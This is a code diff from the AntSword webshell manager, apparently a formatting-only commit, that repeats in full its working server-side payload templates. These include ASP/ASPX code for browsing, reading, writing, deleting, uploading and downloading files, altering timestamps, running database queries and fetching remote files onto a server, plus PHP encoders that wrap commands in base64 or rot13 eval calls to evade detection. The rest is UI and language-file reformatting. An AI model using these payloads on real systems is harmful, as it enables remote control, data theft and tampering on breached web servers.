_: `Set Conn=Server.CreateObject("Adodb.connection"):
Conn.Open ""&bd(Request("${arg1}"))&"":
Dim CO,HD,RN:CO=chr(9)&chr(124)&chr(9):
RN=chr(13)&chr(10):
......@@ -130,4 +126,4 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
[arg2]: '#{hex::sql}',
[arg3]: '#{dbname}'
}
})
})
\ No newline at end of file
......@@ -5,8 +5,7 @@
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库
show_databases: {
_:
`Set Conn=Server.CreateObject("Adodb.connection"):
_: `Set Conn=Server.CreateObject("Adodb.connection"):
Dim SI:
Conn.Open bd(Request("${arg1}")):
If Err Then:
......@@ -34,8 +33,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
},
// 显示数据库所有表
show_tables: {
_:
`Set Conn=Server.CreateObject("Adodb.connection"):
_: `Set Conn=Server.CreateObject("Adodb.connection"):
Dim SI:
Conn.Open ""&bd(Request("${arg1}"))&"":
If Err Then:
......@@ -62,8 +60,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
},
// 显示表字段
show_columns: {
_:
`Set Conn=Server.CreateObject("Adodb.connection"):
_: `Set Conn=Server.CreateObject("Adodb.connection"):
Dim SI:
Conn.Open ""&bd(Request("${arg1}"))&"":
If Err Then:
......@@ -91,8 +88,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
},
// 执行SQL语句
query: {
_:
`Set Conn=Server.CreateObject("Adodb.connection"):
_: `Set Conn=Server.CreateObject("Adodb.connection"):
Conn.Open ""&bd(Request("${arg1}"))&"":
Conn.DefaultDatabase=""&Request("${arg3}")&"":
Dim CO,HD,RN:
......@@ -132,4 +128,4 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
[arg2]: '#{hex::sql}',
[arg3]: '#{dbname}'
}
})
})
\ No newline at end of file
......@@ -4,75 +4,64 @@
module.exports = (arg1, arg2, arg3) => ({
dir: {
_:
`Dim RR:RR=bd(Request("${arg1}")):Function FD(dt):FD=Year(dt)&"-":If Len(Month(dt))=1 Then:FD = FD&"0":End If:FD=FD&Month(dt)&"-":If Len(Day(dt))=1 Then:FD=FD&"0":End If:FD=FD&Day(dt)&" "&FormatDateTime(dt,4)&":":If Len(Second(dt))=1 Then:FD=FD&"0":End If:FD=FD&Second(dt):End Function:SET C=CreateObject("Scripting.FileSystemObject"):Set FO=C.GetFolder(""&RR&""):If Err Then:Response.Write("ERROR:// "&Err.Description):Err.Clear:Else:For Each F in FO.subfolders:Response.Write F.Name&chr(47)&chr(9)&FD(F.DateLastModified)&chr(9)&chr(48)&chr(9)&C.GetFolder(F.Path).attributes&chr(10):Next:For Each L in FO.files:Response.Write L.Name&chr(9)&FD(L.DateLastModified)&chr(9)&L.size&chr(9)&C.GetFile(L.Path).attributes&chr(10):Next:End If`,
_: `Dim RR:RR=bd(Request("${arg1}")):Function FD(dt):FD=Year(dt)&"-":If Len(Month(dt))=1 Then:FD = FD&"0":End If:FD=FD&Month(dt)&"-":If Len(Day(dt))=1 Then:FD=FD&"0":End If:FD=FD&Day(dt)&" "&FormatDateTime(dt,4)&":":If Len(Second(dt))=1 Then:FD=FD&"0":End If:FD=FD&Second(dt):End Function:SET C=CreateObject("Scripting.FileSystemObject"):Set FO=C.GetFolder(""&RR&""):If Err Then:Response.Write("ERROR:// "&Err.Description):Err.Clear:Else:For Each F in FO.subfolders:Response.Write F.Name&chr(47)&chr(9)&FD(F.DateLastModified)&chr(9)&chr(48)&chr(9)&C.GetFolder(F.Path).attributes&chr(10):Next:For Each L in FO.files:Response.Write L.Name&chr(9)&FD(L.DateLastModified)&chr(9)&L.size&chr(9)&C.GetFile(L.Path).attributes&chr(10):Next:End If`,
[arg1]: "#{hex::path}"
},
delete: {
_:
`Dim P:P=bd(Request("${arg1}")):Set FS=CreateObject("Scripting.FileSystemObject"):If FS.FolderExists(P)=true Then:FS.DeleteFolder(P):Else:FS.DeleteFile(P):End If:Set FS=Nothing:If Err Then:S="ERROR:// "&Err.Description:Else:S="1":End If:Response.Write(S)`,
_: `Dim P:P=bd(Request("${arg1}")):Set FS=CreateObject("Scripting.FileSystemObject"):If FS.FolderExists(P)=true Then:FS.DeleteFolder(P):Else:FS.DeleteFile(P):End If:Set FS=Nothing:If Err Then:S="ERROR:// "&Err.Description:Else:S="1":End If:Response.Write(S)`,
[arg1]: "#{hex::path}"
},
create_file: {
_:
`CreateObject("Scripting.FileSystemObject").CreateTextFile(""&bd(Request("${arg1}"))&"").Write(""&bd(Request("${arg2}"))&""):If Err Then:Response.Write("ERROR:// "&Err.Description):Else:Response.Write("1"):End If`,
_: `CreateObject("Scripting.FileSystemObject").CreateTextFile(""&bd(Request("${arg1}"))&"").Write(""&bd(Request("${arg2}"))&""):If Err Then:Response.Write("ERROR:// "&Err.Description):Else:Response.Write("1"):End If`,
[arg1]: "#{hex::path}",
[arg2]: "#{hex::content}"
},
read_file: {
_:
`Response.Write(CreateObject("Scripting.FileSystemObject").OpenTextfile(bd(Request("${arg1}")),1,False).readall):If Err Then:Response.Write("ERROR:// "&Err.Description):Err.Clear:End If`,
_: `Response.Write(CreateObject("Scripting.FileSystemObject").OpenTextfile(bd(Request("${arg1}")),1,False).readall):If Err Then:Response.Write("ERROR:// "&Err.Description):Err.Clear:End If`,
[arg1]: "#{hex::path}"
},
copy: {
_:
`SF=bd(Request("${arg1}")):DF=bd(Request("${arg2}")):Set Fs=CreateObject("Scripting.FileSystemObject"):If Fs.FolderExists(SF) Then:Fs.CopyFolder SF,DF:Else:Fs.CopyFile SF,DF:End If:Set Fs=Nothing:If Err Then:SI="ERROR:// "&Err.Description:else:SI="1":End If:Response.Write(SI)`,
_: `SF=bd(Request("${arg1}")):DF=bd(Request("${arg2}")):Set Fs=CreateObject("Scripting.FileSystemObject"):If Fs.FolderExists(SF) Then:Fs.CopyFolder SF,DF:Else:Fs.CopyFile SF,DF:End If:Set Fs=Nothing:If Err Then:SI="ERROR:// "&Err.Description:else:SI="1":End If:Response.Write(SI)`,
[arg1]: "#{hex::path}",
[arg2]: "#{hex::target}"
},
download_file: {
_:
`Dim i,c,r:Set S=Server.CreateObject("Adodb.Stream"):If Not Err Then:With S:.Mode=3:.Type=1:.Open:.LoadFromFile(bd(Request("${arg1}"))):i=0:c=.Size:r=1024:While i<c:Response.BinaryWrite .Read(r):Response.Flush:i=i+r:Wend:.Close:Set S=Nothing:End With:Else:Response.BinaryWrite "ERROR:// "&Err.Description:End If`,
_: `Dim i,c,r:Set S=Server.CreateObject("Adodb.Stream"):If Not Err Then:With S:.Mode=3:.Type=1:.Open:.LoadFromFile(bd(Request("${arg1}"))):i=0:c=.Size:r=1024:While i<c:Response.BinaryWrite .Read(r):Response.Flush:i=i+r:Wend:.Close:Set S=Nothing:End With:Else:Response.BinaryWrite "ERROR:// "&Err.Description:End If`,
[arg1]: "#{hex::path}"
},
upload_file: {
_:
`Dim l,ss,ff,T:ff=bd(request("${arg1}")):ss=Request("${arg2}"):l=Len(ss):Set S=Server.CreateObject("Adodb.Stream"):With S:.Type=1:.Mode=3:.Open:On Error Resume Next:.LoadFromFile ""&ff&"":.Position=.Size:If Err Then:Err.Clear:End If:set rs=CreateObject("ADODB.Recordset"):rs.fields.append "bb",205,l/2:rs.open:rs.addnew:rs("bb")=ss+chrb(0):rs.update:.Write rs("bb").getchunk(l/2):rs.close:Set rs=Nothing:.Position=0:.SaveToFile ""&ff&"",2:.Close:End With:Set S=Nothing:If Err Then:T=Err.Description:Err.Clear:Else:T="1":End If:Response.Write(T)`,
_: `Dim l,ss,ff,T:ff=bd(request("${arg1}")):ss=Request("${arg2}"):l=Len(ss):Set S=Server.CreateObject("Adodb.Stream"):With S:.Type=1:.Mode=3:.Open:On Error Resume Next:.LoadFromFile ""&ff&"":.Position=.Size:If Err Then:Err.Clear:End If:set rs=CreateObject("ADODB.Recordset"):rs.fields.append "bb",205,l/2:rs.open:rs.addnew:rs("bb")=ss+chrb(0):rs.update:.Write rs("bb").getchunk(l/2):rs.close:Set rs=Nothing:.Position=0:.SaveToFile ""&ff&"",2:.Close:End With:Set S=Nothing:If Err Then:T=Err.Description:Err.Clear:Else:T="1":End If:Response.Write(T)`,
[arg1]: "#{hex::path}",
[arg2]: "#{buffer::content}",
[arg3]: "1"
},
rename: {
_:
`SF=bd(Request("${arg1}")):DF=bd(Request("${arg2}")):Set Fs=CreateObject("Scripting.FileSystemObject"):If Fs.FolderExists(SF) Then:Fs.MoveFolder SF,DF:Else:Fs.MoveFile SF,DF:End If:Set Fs=Nothing:If Err Then:SI="ERROR:// "&Err.Description:Else:SI="1":End If:Response.Write(SI)`,
_: `SF=bd(Request("${arg1}")):DF=bd(Request("${arg2}")):Set Fs=CreateObject("Scripting.FileSystemObject"):If Fs.FolderExists(SF) Then:Fs.MoveFolder SF,DF:Else:Fs.MoveFile SF,DF:End If:Set Fs=Nothing:If Err Then:SI="ERROR:// "&Err.Description:Else:SI="1":End If:Response.Write(SI)`,
[arg1]: "#{hex::path}",
[arg2]: "#{hex::name}"
},
retime: {
_:
`FN=bd(Request("${arg1}")):TM=bd(Request("${arg2}")):AA=Split(FN,"\\"):PT="":For i=LBound(AA) To UBound(AA)-1:PT=PT&AA(i)&"\\":Next:NM=AA(UBound(AA)):Server.CreateObject("Shell.Application").NameSpace(PT).ParseName(NM).Modifydate=TM:If Err Then:SI="ERROR:// "&PT&Err.Description:Err.Clear:Else:SI="1":End If:Response.Write(SI)`,
_: `FN=bd(Request("${arg1}")):TM=bd(Request("${arg2}")):AA=Split(FN,"\\"):PT="":For i=LBound(AA) To UBound(AA)-1:PT=PT&AA(i)&"\\":Next:NM=AA(UBound(AA)):Server.CreateObject("Shell.Application").NameSpace(PT).ParseName(NM).Modifydate=TM:If Err Then:SI="ERROR:// "&PT&Err.Description:Err.Clear:Else:SI="1":End If:Response.Write(SI)`,
[arg1]: "#{hex::path}",
[arg2]: "#{hex::time}"
},
mkdir: {
_:
`Set Fs=CreateObject("Scripting.FileSystemObject"):Fs.CreateFolder(bd(Request("${arg1}"))):Set Fs=Nothing:If Err Then:S="ERROR:// "&Err.Description:Else:S="1":End If:Response.Write(S)`,
_: `Set Fs=CreateObject("Scripting.FileSystemObject"):Fs.CreateFolder(bd(Request("${arg1}"))):Set Fs=Nothing:If Err Then:S="ERROR:// "&Err.Description:Else:S="1":End If:Response.Write(S)`,
[arg1]: "#{hex::path}"
},
wget: {
_:
`Dim SI:Set x=CreateObject("MSXML2.ServerXmlHttp"):x.Open "GET",""&bd(Request("${arg1}"))&"",0:x.Send():If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:set s=CreateObject("ADODB.Stream"):s.Mode=3:s.Type=1:s.Open():s.Write x.ResponseBody:s.SaveToFile ""&bd(Request("${arg2}"))&"",2:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI="1":End If:Set x=Nothing:Set s=Nothing:End If:Response.Write(SI)`,
_: `Dim SI:Set x=CreateObject("MSXML2.ServerXmlHttp"):x.Open "GET",""&bd(Request("${arg1}"))&"",0:x.Send():If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:set s=CreateObject("ADODB.Stream"):s.Mode=3:s.Type=1:s.Open():s.Write x.ResponseBody:s.SaveToFile ""&bd(Request("${arg2}"))&"",2:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI="1":End If:Set x=Nothing:Set s=Nothing:End If:Response.Write(SI)`,
[arg1]: "#{hex::url}",
[arg2]: "#{hex::path}"
}
})
})
\ No newline at end of file
......@@ -12,9 +12,9 @@ module.exports = (pwd, data, ext = null) => {
.toString(16)
.substr(2)}`;
let hexencoder = "function HexAsciiConvert(hex:String) {var sb:System.Text.StringBuilder = new Sys" +
"tem.Text.StringBuilder();var i;for(i=0; i< hex.Length; i+=2){sb.Append(System.Co" +
"nvert.ToString(System.Convert.ToChar(Int32.Parse(hex.Substring(i,2), System.Glob" +
"alization.NumberStyles.HexNumber))));}return sb.ToString();};";
"tem.Text.StringBuilder();var i;for(i=0; i< hex.Length; i+=2){sb.Append(System.Co" +
"nvert.ToString(System.Convert.ToChar(Int32.Parse(hex.Substring(i,2), System.Glob" +
"alization.NumberStyles.HexNumber))));}return sb.ToString();};";
data[randomID] = Buffer
.from(data['_'])
.toString('hex');
......
......@@ -28,10 +28,10 @@ function string2unicode(str) {
}
/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext = {}) => {
data[pwd] = string2unicode(data['_']).replace(/\\u/g, 'asunescape(%)u');
// 删除 _ 原有的payload
......
......@@ -99,4 +99,4 @@ class ASPX extends Base {
}
}
module.exports = ASPX;
module.exports = ASPX;
\ No newline at end of file
......@@ -17,4 +17,4 @@ module.exports = (arg1, arg2) => ({
}`.replace(/\n\s+/g, ''),
[arg1]: "#{base64::binarr}"
}
})
})
\ No newline at end of file
......@@ -27,4 +27,4 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
[arg1]: '#{base64::conn}',
[arg2]: '#{base64::sql}'
}
})
})
\ No newline at end of file
......@@ -26,4 +26,4 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
[arg1]: '#{base64::conn}',
[arg2]: '#{base64::sql}'
}
})
})
\ No newline at end of file
......@@ -87,4 +87,4 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
[arg2]: '#{base64::sql}',
[arg3]: '#{dbname}'
}
})
})
\ No newline at end of file
......@@ -83,4 +83,4 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
[arg2]: '#{base64::sql}',
[arg3]: '#{dbname}'
}
})
})
\ No newline at end of file
......@@ -37,15 +37,15 @@ module.exports = (arg1, arg2, arg3) => ({
upload_file: {
_:
// `var
// P:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.C
// onvert.FromBase64String(Request.Item["${arg1}"]));var
// Z:String=Request.Item["${arg2}"];var B:byte[]=new byte[Z.Length/2];for(var
// i=0;i<Z.Length;i+=2){B[i/2]=byte(Convert.ToInt32(Z.Substring(i,2),16));}var
// fs:System.IO.FileStream=new
// System.IO.FileStream(P,System.IO.FileMode.Create);fs.Write(B,0,B.Length);fs.Cl
// ose();Response.Write("1");`, 修改写入模式Create->Append
`var P:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));var Z:String=Request.Item["${arg2}"];var B:byte[]=new byte[Z.Length/2];for(var i=0;i<Z.Length;i+=2){B[i/2]=byte(Convert.ToInt32(Z.Substring(i,2),16));}var fs:System.IO.FileStream=new System.IO.FileStream(P,System.IO.FileMode.Append);fs.Write(B,0,B.Length);fs.Close();Response.Write("1");`,
// `var
// P:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.C
// onvert.FromBase64String(Request.Item["${arg1}"]));var
// Z:String=Request.Item["${arg2}"];var B:byte[]=new byte[Z.Length/2];for(var
// i=0;i<Z.Length;i+=2){B[i/2]=byte(Convert.ToInt32(Z.Substring(i,2),16));}var
// fs:System.IO.FileStream=new
// System.IO.FileStream(P,System.IO.FileMode.Create);fs.Write(B,0,B.Length);fs.Cl
// ose();Response.Write("1");`, 修改写入模式Create->Append
`var P:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));var Z:String=Request.Item["${arg2}"];var B:byte[]=new byte[Z.Length/2];for(var i=0;i<Z.Length;i+=2){B[i/2]=byte(Convert.ToInt32(Z.Substring(i,2),16));}var fs:System.IO.FileStream=new System.IO.FileStream(P,System.IO.FileMode.Append);fs.Write(B,0,B.Length);fs.Close();Response.Write("1");`,
[arg1]: "#{base64::path}",
[arg2]: "#{buffer::content}"
},
......@@ -72,4 +72,4 @@ module.exports = (arg1, arg2, arg3) => ({
[arg1]: "#{base64::url}",
[arg2]: "#{base64::path}"
}
})
})
\ No newline at end of file
This diff is collapsed.
......@@ -63,4 +63,4 @@ class CUSTOM extends Base {
}
}
module.exports = CUSTOM;
module.exports = CUSTOM;
\ No newline at end of file
......@@ -6,4 +6,4 @@
module.exports = () => ({
info: 'A',
probedb: 'Z', // 检测数据库函数支持
})
})
\ No newline at end of file
......@@ -12,4 +12,4 @@ module.exports = () => ({
_: 'Y',
'z1': '#{binarr}'
}
})
})
\ No newline at end of file
......@@ -33,4 +33,4 @@ module.exports = () => ({
'z1': '#{conn}',
'z2': '#{sql}'
}
})
})
\ No newline at end of file
......@@ -63,4 +63,4 @@ module.exports = () => ({
'z1': '#{url}',
'z2': '#{path}'
}
})
})
\ No newline at end of file
......@@ -22,4 +22,4 @@ class Core {
}
}
module.exports = new Core();
module.exports = new Core();
\ No newline at end of file
......@@ -9,11 +9,11 @@ const rot13encode = (s) => {
return s.replace(/[a-zA-Z]/g, function (c) {
// Get the character code of the current character and add 13 to it If it is
// larger than z's character code then subtract 26 to support wrap around.
return String.fromCharCode((c <= "Z"
? 90
: 122) >= (c = c.charCodeAt(0) + 13)
? c
: c - 26);
return String.fromCharCode((c <= "Z" ?
90 :
122) >= (c = c.charCodeAt(0) + 13) ?
c :
c - 26);
});
};
......
......@@ -17,4 +17,4 @@ module.exports = (pwd, data, ext = null) => {
data[pwd] = `@eval(@base64_decode($_POST[${randomID}]));`;
delete data['_'];
return data;
}
}
\ No newline at end of file
......@@ -23,4 +23,4 @@ module.exports = (pwd, data, ext = null) => {
// 返回数据
return data;
}
}
\ No newline at end of file
......@@ -23,4 +23,4 @@ module.exports = (pwd, data, ext = null) => {
// 返回数据
return data;
}
}
\ No newline at end of file
......@@ -11,11 +11,11 @@ module.exports = (pwd, data, ext = null) => {
return s.replace(/[a-zA-Z]/g, function (c) {
// Get the character code of the current character and add 13 to it If it is
// larger than z's character code then subtract 26 to support wrap around.
return String.fromCharCode((c <= "Z"
? 90
: 122) >= (c = c.charCodeAt(0) + 13)
? c
: c - 26);
return String.fromCharCode((c <= "Z" ?
90 :
122) >= (c = c.charCodeAt(0) + 13) ?
c :
c - 26);
});
}
......@@ -28,4 +28,4 @@ module.exports = (pwd, data, ext = null) => {
data[pwd] = `@eval(@str_rot13($_POST[${randomID}]));`;
delete data['_'];
return data;
}
}
\ No newline at end of file
......@@ -88,4 +88,4 @@ class PHP extends Base {
}
}
module.exports = PHP;
module.exports = PHP;
\ No newline at end of file
......@@ -58,4 +58,4 @@ module.exports = (arg1, arg2) => ({
[arg1]: "#{base64::bin}",
[arg2]: "#{base64::cmd}"
}
})
})
\ No newline at end of file
......@@ -36,4 +36,4 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
[arg4]: '#{db}',
[arg5]: '#{base64::sql}'
}
})
})
\ No newline at end of file
......@@ -99,4 +99,4 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
[arg4]: '#{db}',
[arg5]: '#{base64::sql}'
}
})
})
\ No newline at end of file
......@@ -38,4 +38,4 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
[arg5]: '#{base64::sql}',
[arg6]: '#{encode}'
}
})
})
\ No newline at end of file
......@@ -103,4 +103,4 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
[arg5]: '#{base64::sql}',
[arg6]: '#{encode}'
}
})
})
\ No newline at end of file
......@@ -36,4 +36,4 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
[arg4]: '#{db}',
[arg5]: '#{base64::sql}'
}
})
})
\ No newline at end of file
......@@ -174,4 +174,4 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
[arg5]: '#{base64::sql}',
[arg6]: '#{encode}'
}
})
})
\ No newline at end of file
......@@ -187,4 +187,4 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
[arg5]: '#{base64::sql}',
[arg6]: '#{encode}'
}
})
})
\ No newline at end of file
......@@ -186,4 +186,4 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
[arg5]: '#{base64::sql}',
[arg6]: '#{encode}'
}
})
})
\ No newline at end of file
......@@ -116,4 +116,4 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
[arg5]: '#{base64::sql}',
[arg6]: '#{encode}'
}
})
})
\ No newline at end of file
......@@ -69,4 +69,4 @@ module.exports = (arg1, arg2, arg3) => ({
[arg1]: "#{base64::url}",
[arg2]: "#{base64::path}"
}
})
})
\ No newline at end of file
......@@ -40,4 +40,4 @@ class PHP4 extends PHP {
}
}
module.exports = PHP4;
module.exports = PHP4;
\ No newline at end of file
......@@ -182,9 +182,9 @@ module.exports = {
min: 'Min Block',
max: 'Max Block',
exphint: 'This feature is currently experimental and cannot be used with Multipart. Some t' +
'ypes of servers may not support Chunked transfers. In addition, it is recommende' +
'd to set the timeout period to 30s or more to avoid data transmission when the n' +
'etwork speed is not good.'
'ypes of servers may not support Chunked transfers. In addition, it is recommende' +
'd to set the timeout period to 30s or more to avoid data transmission when the n' +
'etwork speed is not good.'
},
terminalCache: "Use the terminal's cache",
filemanagerCache: "Use the filemanager's cache",
......@@ -959,4 +959,4 @@ Hot Keys:
saveSuccess: 'Save cookie configuration is successful!',
saveFailed: (err) => `Save cookie configuration failed!\n${err}`
}
}
}
\ No newline at end of file
......@@ -14,12 +14,12 @@ const languages = {
let lang = antSword['storage']('language', false, navigator.language.substr(0, 2));
// 判断本地设置语言是否符合语言模板
lang = languages[lang]
? lang
: 'en';
lang = languages[lang] ?
lang :
'en';
// 返回语言模板
let langModule = require(`./${lang}`);
langModule.__languages__ = languages;
module.exports = langModule;
module.exports = langModule;
\ No newline at end of file
......@@ -184,7 +184,7 @@ module.exports = {
min: '最小分块',
max: '最大分块',
exphint: '该功能目前为实验性功能, 无法与 Multipart 同时使用,部分类型的服务端可能不支持Chunked传输。此外,建议超时时长设置30s以上,避免网速不好的情' +
'况下影响数据传输。'
'况下影响数据传输。'
},
terminalCache: '虚拟终端使用缓存',
filemanagerCache: '文件管理使用缓存',
......@@ -959,4 +959,4 @@ module.exports = {
saveSuccess: '保存Cookie成功!',
saveFailed: (err) => `保存Cookie失败!\n${err}`
}
}
}
\ No newline at end of file
......@@ -183,7 +183,7 @@ module.exports = {
min: '最小分塊',
max: '最大分塊',
exphint: '該功能目前為實驗性功能, 無法與 Multipart 同時使用,部分類型的服務端可能不支持Chunked傳輸。此外,建議超時時長設置30s以上,避免網速不好的情' +
'況下影響數據傳輸。'
'況下影響數據傳輸。'
},
terminalCache: '虛擬終端使用緩存',
filemanagerCache: '文件管理使用緩存',
......@@ -957,4 +957,4 @@ module.exports = {
saveSuccess: '保存Cookie成功!',
saveFailed: (err) => `保存Cookie失敗!\n${err}`
}
}
}
\ No newline at end of file
......@@ -183,7 +183,7 @@ module.exports = {
min: '最小分塊',
max: '最大分塊',
exphint: '該功能目前為實驗性功能, 無法與 Multipart 同時使用,部分類型的服務端可能不支持Chunked傳輸。此外,建議超時時長設置30s以上,避免網速不好的情' +
'況下影響數據傳輸。'
'況下影響數據傳輸。'
},
terminalCache: '虛擬終端使用緩存',
filemanagerCache: '文件管理使用緩存',
......@@ -958,4 +958,4 @@ module.exports = {
saveSuccess: '保存Cookie成功!',
saveFailed: (err) => `保存Cookie失敗!\n${err}`
}
}
}
\ No newline at end of file
......@@ -10,7 +10,10 @@
// 添加源码目录到全局模块加载变量,以提供后边加载
const path = require('path');
const Module = require('module').Module;
const {remote} = require('electron');
const {
remote
} = require('electron');
Module
.globalPaths
.push(path.join(remote.process.env.AS_WORKDIR, 'source'));
......@@ -39,9 +42,9 @@ window.addEventListener('load', () => {
};
for (let k in o) {
if (new RegExp("(" + k + ")").test(format)) {
format = format.replace(RegExp.$1, RegExp.$1.length == 1
? o[k]
: ("00" + o[k]).substr(("" + o[k]).length));
format = format.replace(RegExp.$1, RegExp.$1.length == 1 ?
o[k] :
("00" + o[k]).substr(("" + o[k]).length));
}
}
return format;
......@@ -107,21 +110,42 @@ window.addEventListener('load', () => {
}
loadingUI();
// 开始加载css
loadCSS('ant-static://libs/bmenu/bmenu.css').then(() => loadCSS('ant-static://libs/toastr/toastr.min.css')).then(() => loadCSS('ant-static://libs/layer/src/skin/layer.css')).then(() => loadCSS('ant-static://libs/layer/src/skin/layer.ext.css')).then(() => loadCSS('ant-static://libs/laydate/need/laydate.css')).then(() => loadCSS('ant-static://libs/laydate/skins/default/laydate.css')).then(() => loadCSS('ant-static://libs/terminal/css/jquery.terminal-1.1.1.css')).then(() => loadCSS('ant-static://libs/font-awesome/css/font-awesome.min.css')).then(() => loadCSS('ant-static://libs/dhtmlx/codebase/dhtmlx.css')).then(() => loadCSS('ant-static://libs/dhtmlx/skins/mytheme/dhtmlx.css')).then(() => loadCSS('ant-static://css/index.css'));
loadCSS('ant-static://libs/bmenu/bmenu.css')
.then(() => loadCSS('ant-static://libs/toastr/toastr.min.css'))
.then(() => loadCSS('ant-static://libs/layer/src/skin/layer.css'))
.then(() => loadCSS('ant-static://libs/layer/src/skin/layer.ext.css'))
.then(() => loadCSS('ant-static://libs/laydate/need/laydate.css'))
.then(() => loadCSS('ant-static://libs/laydate/skins/default/laydate.css'))
.then(() => loadCSS('ant-static://libs/terminal/css/jquery.terminal-1.1.1.css'))
.then(() => loadCSS('ant-static://libs/font-awesome/css/font-awesome.min.css'))
.then(() => loadCSS('ant-static://libs/dhtmlx/codebase/dhtmlx.css'))
.then(() => loadCSS('ant-static://libs/dhtmlx/skins/mytheme/dhtmlx.css'))
.then(() => loadCSS('ant-static://css/index.css'));
// 加载js资源
loadJS('ant-static://libs/jquery/jquery.js').then(() => loadJS('ant-static://libs/ace/ace.js')).then(() => loadJS('ant-static://libs/ace/ext-language_tools.js')).then(() => loadJS('ant-static://libs/bmenu/bmenu.js')).then(() => loadJS('ant-static://libs/toastr/toastr.js')).then(() => loadJS('ant-static://libs/layer/src/layer.js')).then(() => loadJS('ant-static://libs/laydate/laydate.js')).then(() => loadJS('ant-static://libs/terminal/js/jquery.terminal-min-1.1.1.js')).then(() => loadJS('ant-static://libs/dhtmlx/codebase/dhtmlx.js')).then(() => {
/**
loadJS('ant-static://libs/jquery/jquery.js')
.then(() => loadJS('ant-static://libs/ace/ace.js'))
.then(() => loadJS('ant-static://libs/ace/ext-language_tools.js'))
.then(() => loadJS('ant-static://libs/bmenu/bmenu.js'))
.then(() => loadJS('ant-static://libs/toastr/toastr.js'))
.then(() => loadJS('ant-static://libs/layer/src/layer.js'))
.then(() => loadJS('ant-static://libs/laydate/laydate.js'))
.then(() => loadJS('ant-static://libs/terminal/js/jquery.terminal-min-1.1.1.js'))
.then(() => loadJS('ant-static://libs/dhtmlx/codebase/dhtmlx.js'))
.then(() => {
/**
* 配置layer弹出层
* @param {[type]} {extend: 'extend/layer.ext.js'} [description]
* @return {[type]} [description]
*/
layer.config({extend: 'extend/layer.ext.js'});
// 加载程序入口
require('app.entry');
// LOGO
console.group('LOGO');
console.log(`%c
layer.config({
extend: 'extend/layer.ext.js'
});
// 加载程序入口
require('app.entry');
// LOGO
console.group('LOGO');
console.log(`%c
_____ _ _____ _
| _ |___| |_| __|_ _ _ ___ ___ _| |
| | | _|__ | | | | . | _| . |
......@@ -132,7 +156,7 @@ window.addEventListener('load', () => {
-*| End: %c${ + new Date - APP_START_TIME}%c/ms
`, 'color: #F44336;', 'color: #9E9E9E;', 'color: #4CAF50;', 'color: #9E9E9E;', 'color: #2196F3;', 'color: #9E9E9E;', 'color: #FF9800;', 'color: #9E9E9E;');
APP_START_TIME = null;
console.groupEnd();
});
});
APP_START_TIME = null;
console.groupEnd();
});
});
\ No newline at end of file
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
......@@ -96,9 +96,9 @@ class Folder {
let _path = path + _;
let _obj = {
id: (_path),
text: antSword.noxss((_.length === 1 || (_.endsWith(':/') && _.length === 3))
? _
: _.replace(/\/$/, ''))
text: antSword.noxss((_.length === 1 || (_.endsWith(':/') && _.length === 3)) ?
_ :
_.replace(/\/$/, ''))
};
let _result = parseItem(obj[_], _path);
if (_result) {
......@@ -140,4 +140,4 @@ class Folder {
}
// export default Folder;
module.exports = Folder;
module.exports = Folder;
\ No newline at end of file
......@@ -50,7 +50,7 @@ class Tasks {
.cell
.expand();
// 创建一个随机ID
const hash = String(+ new Date() + Math.random()).replace('.', '_');
const hash = String(+new Date() + Math.random()).replace('.', '_');
this
.grid
.addRow(hash, [
......@@ -87,4 +87,4 @@ class Tasks {
}
// export default Tasks;
module.exports = Tasks;
module.exports = Tasks;
\ No newline at end of file
......@@ -55,4 +55,4 @@ class Plugin {
}
module.exports = Plugin;
module.exports = Plugin;
\ No newline at end of file
......@@ -7,7 +7,11 @@ const LANG = antSword['language']['settings']['about'];
class About {
constructor(sidebar) {
sidebar.addItem({id: 'about', selected: true, text: `<i class="fa fa-heart-o"></i> ${LANG['title']}`});
sidebar.addItem({
id: 'about',
selected: true,
text: `<i class="fa fa-heart-o"></i> ${LANG['title']}`
});
const cell = sidebar.cells('about');
cell.attachHTMLString(`
<div align="center" class="about">
......@@ -35,4 +39,4 @@ class About {
}
module.exports = About;
module.exports = About;
\ No newline at end of file
This diff is collapsed.
......@@ -8,7 +8,10 @@ const LANG_T = antSword['language']['toastr'];
class AProxy {
constructor(sidebar) {
